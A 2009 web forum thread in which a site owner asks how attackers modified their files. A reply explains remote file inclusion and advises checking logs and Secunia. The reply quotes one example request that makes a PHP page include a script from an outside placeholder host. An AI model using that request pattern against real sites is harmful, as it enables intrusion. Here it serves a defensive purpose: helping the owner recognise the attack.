Forum Moderators: phranque
I think the culprit is probably an out of date version of FCK Editor but what I'm trying to understand is how a hacker would be able to edit a file - this would require a pretty high level of compromise.
Both index and .htaccess file permissions were set to 654/644
Any info would be much appreciated.
Thanks
Yes am running a CMS - but it's a really lightweight bespoke one that just writes to a DB and has plenty of input cleaning.
I'm just wondering what level of access someone would need to write to a file?
Also the hosting (not mine) runs PHP 4.3.10
The other method is to get your FTP password and download/edit/reupload the files, but that's less common.
In your log file, you'd be looking mainly for "remote file inclusion" attacks. They look like:
GET /yourfile.php?inc=hxxp://someothersite.com/safe.txt?
"safe.txt" is just a placeholder above, but it's one of the most common script names used. It is usually found to be a malicious PHP script. It might run through the files in your site, inserting new text into them.
However, if it was through FCK editor, it might not be as easy to spot, as it will likely be some request to an FCK script, and it might have been a POST, not a GET. But it would be from an IP address that isn't yours, which would make it easier to identify.
Look up FCK editor at Secunia. They might have more specific info about known vulnerabilities and when they were discovered.
[edited by: SteveWh at 11:57 am (utc) on Mar. 19, 2009]